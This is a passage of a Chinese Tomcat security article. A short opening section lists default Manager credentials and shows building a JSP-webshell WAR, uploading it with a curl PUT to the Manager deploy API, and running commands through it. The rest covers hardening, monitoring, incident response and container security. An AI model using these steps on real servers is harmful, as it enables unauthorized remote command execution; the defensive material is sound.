Intruder等工具对管理登录接口进行爆破。常见用户名密码组合包括tomcat:tomcat,admin:admin,both:tomcat,role1:tomcat,root:root等。很多时候管理员甚至未修改默认空密码。制作恶意WAR包# 1. 创建一个包含JSP WebShell的目录结构 mkdir -p shell/WEB-INF # 2. 创建最简单的web.xml必须 echo ?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 /web-app shell/WEB-INF/web.xml # 3. 创建JSP WebShell文件例如cmd.jsp内容同上例 cp webshell.jsp shell/cmd.jsp # 4. 打包成WAR jar -cvf shell.war -C shell/ .利用Manager API上传通过HTML表单登录/manager/html后页面有上传WAR文件的部分直接上传即可。通过HTTP API命令行curl -u tomcat:tomcat -X PUT --upload-file shell.war http://target_ip:8080/manager/text/deploy?path/shell成功会返回OK - Deployed application at context path /shell。访问WebShell访问http://target_ip:8080/shell/cmd.jsp?cmdid执行命令。修复与思考强密码与锁定策略为Manager应用设置复杂、唯一的密码并考虑集成LDAP或数据库认证。可以配置server.xml中的LockOutRealm来防止暴力破解。访问控制通过server.xml中的RemoteAddrValve将Manager应用的访问源IP限制为运维网络或跳板机IP。Context privilegedtrue docBase${catalina.home}/webapps/manager Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.0/24 / /Context禁用或移除生产环境中如果不需要动态部署功能最安全的方式是直接删除webapps/manager和webapps/host-manager目录并从conf/Catalina/localhost/下删除对应的XML文件。4. 构建前瞻性纵深防御体系亡羊补牢不如未雨绸缪。针对Tomcat的安全绝不能停留在漏洞出现后打补丁的层面而应构建一个从网络到应用、从配置到监控的纵深防御体系。4.1 安全加固配置清单以下是一份生产环境Tomcat安全配置的核心清单你可以将其作为上线前的Checklist身份与访问管理删除默认应用移除webapps下的docs,examples,manager,host-manager除非业务明确需要。强化Manager认证修改conf/tomcat-users.xml使用强密码并仅授予最小必要权限如只有manager-gui和manager-script角色。禁用不必要协议在server.xml中注释掉或删除AJP Connector!-- Connector port8009 protocolAJP/1.3 ... / --。如果必须使用绑定address127.0.0.1。使用安全领域Realm考虑使用JDBCRealm或JNDIRealm连接企业用户数据库替代简单的UserDatabaseRealm。请求处理与输出加固禁用PUT/DELETE等方法在应用的web.xml或全局web.xml中配置security-constraint web-resource-collection web-resource-nameRestricted Methods/web-resource-name url-pattern/*/url-pattern http-methodPUT/http-method http-methodDELETE/http-method http-methodTRACE/http-method http-methodOPTIONS/http-method /web-resource-collection auth-constraint / /security-constraint关闭目录列表确保所有servlet特别是defaultServlet的init-param中listings为false。自定义错误页面在web.xml中配置自定义的错误页面避免泄露服务器信息。error-page error-code500/error-code location/error/500.html/location /error-page error-page exception-typejava.lang.Throwable/exception-type location/error/general.html/location /error-page设置安全HTTP头通过server.xml的Valve或前端Nginx/Apache添加安全头如X-Frame-Options: DENY(防点击劫持)X-Content-Type-Options: nosniff(防MIME类型混淆)Content-Security-Policy: default-src self(内容安全策略)运行环境与权限隔离使用非root用户运行绝对不要以root身份运行Tomcat。创建一个专用的、低权限的系统用户如tomcat并将Tomcat目录的所有权赋予该用户。useradd -r -m -d /opt/tomcat -s /bin/false tomcat chown -R tomcat:tomcat /opt/tomcat sudo -u tomcat /opt/tomcat/bin/startup.sh文件系统权限严格限制Tomcat用户对conf,webapps,logs,work,temp等目录的读写权限。特别是webapps目录Tomcat用户应有读和执行权限但不应有不必要的写权限除非动态部署。JVM安全参数在catalina.sh或setenv.sh中设置JVM参数限制危险操作export JAVA_OPTS$JAVA_OPTS -Djava.security.manager -Djava.security.policy$CATALINA_BASE/conf/catalina.policy # 禁用不安全的反射操作 export JAVA_OPTS$JAVA_OPTS --illegal-accessdeny注意启用Security Manager需要仔细配置策略文件可能会影响应用正常运行需充分测试。4.2 安全监控与应急响应加固是静态的监控是动态的。再好的配置也可能因未知漏洞或人为失误被突破。日志审计Tomcat的日志是安全调查的黄金数据源。访问日志确保在server.xml中启用了AccessLogValve并记录完整的请求信息时间、源IP、方法、URL、状态码、响应大小、User-Agent、Referer。定期分析异常访问模式如大量404错误扫描器、特定漏洞利用路径的访问、来自异常地理位置的登录尝试等。应用日志集成Log4j2或SLF4J确保应用自身将关键操作登录、敏感数据访问、异常请求记录到日志中并与访问日志关联。集中化日志使用ELKElasticsearch, Logstash, Kibana或Graylog等工具将Tomcat日志集中收集、索引和分析便于快速检索和告警。文件完整性监控监控webapps目录下文件的任何变更新增、修改、删除。可以使用AIDE、Tripwire等工具或利用操作系统的inotify机制编写脚本一旦检测到未授权的WAR包部署或JSP文件修改立即告警。进程与网络监控监控Tomcat进程的CPU、内存异常波动。监控Tomcat监听端口8080, 8009等的异常连接特别是来自非信任IP对AJP端口的连接尝试。应急响应预案隔离一旦发现入侵立即将受影响的服务器从网络隔离修改防火墙规则或关闭端口。取证备份完整的日志文件、被篡改的Web文件、内存镜像如果可能以及work/Catalina目录下的编译后的Servlet class文件。清除与恢复从备份中恢复干净的Web应用和配置文件。彻底检查系统是否存在后门账户、定时任务、SSH密钥等持久化手段。根因分析根据日志和文件变更记录分析攻击入口点是弱口令、未修复漏洞还是供应链攻击并针对性加固。4.3 进阶安全实践从容器到编排随着云原生和容器化技术的普及Tomcat的运行环境也发生了变化安全思路需要随之升级。使用安全的基础镜像如果使用Docker应从官方或可信源获取Tomcat镜像并定期更新。避免使用包含多余工具如curl,wget,netcat的“肥镜像”遵循最小化原则。容器运行时安全非root用户运行在Dockerfile中使用USER tomcat指令确保容器内进程不以root运行。只读文件系统将除了需要写入的目录如logs,temp,work外其他目录如webapps,conf以只读模式挂载。FROM tomcat:9-jre11 USER tomcat # ... 你的定制步骤 ... # 在运行命令中将webapps和conf挂载为只读卷具体挂载在运行时可指定限制容器能力运行容器时使用--cap-dropALL移除所有Linux Capabilities然后按需添加极少数必需的如CHOWN,SETGID等。这能极大限制攻击者即便突破应用后在容器内进行提权或破坏宿主机的可能性。在Kubernetes中的安全SecurityContext在Pod定义中设置securityContext指定runAsNonRoot: true和runAsUser。Pod安全策略/PSA使用Pod Security Admission (PSA) 或旧的PodSecurityPolicy (PSP)强制要求Pod以非特权模式运行、禁止特权升级、使用只读根文件系统等。网络策略使用NetworkPolicy严格限制Tomcat Pod的网络通信例如只允许来自Ingress Controller或特定微服务的流量访问8080端口完全禁止对8009AJP端口的访问。供应链安全你的WAR包本身是否安全引入的第三方Jar包是否有已知漏洞应使用OWASP Dependency-Check、Sonatype Nexus IQ或Snyk等工具在CI/CD流水线中持续扫描依赖项避免将含有漏洞的组件部署上线。5. 常见问题排查与实战技巧在实际运维和应急响应中总会遇到一些棘手的情况。这里分享几个我踩过的坑和总结的技巧。5.1 性能骤降与可疑连接排查场景服务器监控显示Tomcat线程池满响应时间飙升但业务量并未增长。排查思路检查当前连接使用netstat或ss命令查看连接到Tomcat端口的IP和状态。重点关注ESTABLISHED状态且来自异常IP或大量来自同一IP的连接。ss -antp | grep :8080 | head -20分析线程堆栈使用jstack工具获取Tomcat进程的线程堆栈。# 找到Tomcat的Java进程PID jps -l | grep org.apache.catalina.startup.Bootstrap # 生成线程dump jstack PID thread_dump.log在thread_dump.log中搜索http-nio-8080-exec-这样的线程看它们卡在哪个方法调用上。如果大量线程卡在某个数据库查询或外部API调用上可能是下游依赖出了问题。如果卡在Socket.read()则可能是慢速攻击Slowloris——攻击者保持大量半开连接耗尽线程池。检查访问日志快速分析最近几分钟的访问日志catalina.out或localhost_access_log寻找规律异常的请求如非常长的URL、畸形的Header、或者来自少量IP的极高频率请求。临时应对如果怀疑是DDoS或CC攻击可以立即在服务器防火墙或前端负载均衡器上对可疑IP段进行临时封禁。同时考虑调整Tomcat的server.xml配置maxThreads适当增加但不要超过系统负载能力。connectionTimeout降低超时时间如从20000毫秒降到5000毫秒让恶意连接更快释放。acceptCount等待队列长度在流量洪峰时起到缓冲作用。5.2 内存泄漏与OOM故障定位场景Tomcat频繁崩溃日志中出现java.lang.OutOfMemoryError: Java heap space或PermGen spaceJava 8之前。排查思路确认错误类型Heap Space不足通常是业务代码创建了大量未释放的对象PermGen/Metaspace不足可能是动态加载了过多类如频繁热部署、大量使用反射、CGLib等。启用GC日志与分析在JVM参数中添加GC日志记录这是分析内存问题的关键。export JAVA_OPTS$JAVA_OPTS -XX:PrintGCDetails -XX:PrintGCDateStamps -XX:PrintGCTimeStamps -Xloggc:/opt/tomcat/logs/gc.log使用工具如GCViewer, GCEasy分析GC日志观察内存使用趋势、Full GC频率和耗时。如果老年代Old Generation使用率持续增长且Full GC后回收很少基本可以断定存在内存泄漏。生成与分析Heap Dump在OOM发生时自动生成堆转储文件。export JAVA_OPTS$JAVA_OPTS -XX:HeapDumpOnOutOfMemoryError -XX:HeapDumpPath/opt/tomcat/logs/heapdump.hprof使用MATEclipse Memory Analyzer或JVisualVM打开heapdump.hprof文件。MAT的“Leak Suspects Report”功能非常强大能直接指出可能泄漏的对象和引用链。通常问题集中在某个特定的业务对象、缓存如未设置大小限制的Map或第三方库如某些连接池未正确关闭。类加载器泄漏排查对于PermGen/Metaspace OOM重启是临时解决根治需要找到类加载器未释放的原因。常见于使用了ThreadLocal且未清理其中引用了自定义类加载器加载的类。框架如OSGi, JRebel或某些第三方库存在Bug。频繁的热部署操作。排查时可以使用jmap -clstats PID查看类加载器统计信息。5.3 日志中惊现漏洞利用Payload怎么办场景在访问日志或入侵检测系统IDS日志中发现了类似/manager/html的登录尝试、PUT /shell.jsp的上传请求或包含../的路径遍历特征。应急步骤不要惊慌立即确认首先确认这些请求是否成功查看对应时间点的响应状态码。如果是200或201说明可能已经失陷如果是403、404可能只是扫描尝试。隔离与取证如果怀疑已入侵立即按4.2节的预案进行隔离和取证。切勿直接删除可疑文件或重启服务这会破坏现场让后续溯源变得困难。回溯攻击链以日志中的攻击时间为起点向前后扩展时间范围全面搜索该源IP的所有请求记录。攻击者往往不会只尝试一次他们可能进行了信息收集扫描目录、漏洞利用、上传后门、横向移动等多个步骤。尝试拼凑出完整的攻击路径。检查文件系统根据Payload中提到的文件路径如/shell.jsp在服务器上查找该文件并检查其创建时间、内容。同时使用find命令查找最近一段时间内被修改过的所有JSP、WAR、XML文件。find /opt/tomcat/webapps -name *.jsp -mtime -1 # 查找一天内修改的jsp find /opt/tomcat -name *.war -mtime -1检查进程与网络使用ps auxf、netstat -antp、lsof -i等命令查看是否有异常进程、异常外连特别是到未知IP或端口的连接。加固与修复根据攻击入口点实施对应的加固措施修改密码、修复配置、升级版本、打补丁。在所有相关工作完成后再从备份恢复或清理受污染的文件。安全是一个持续的过程而非一劳永逸的状态。对Tomcat安全的守护需要我们将安全思维融入架构设计、配置管理、持续集成和日常运维的每一个环节。从理解每一个配置参数的安全含义开始到建立完善的监控告警再到形成条件反射般的应急响应流程这条路没有终点。但每深入一步你的系统就比昨天更坚固一分。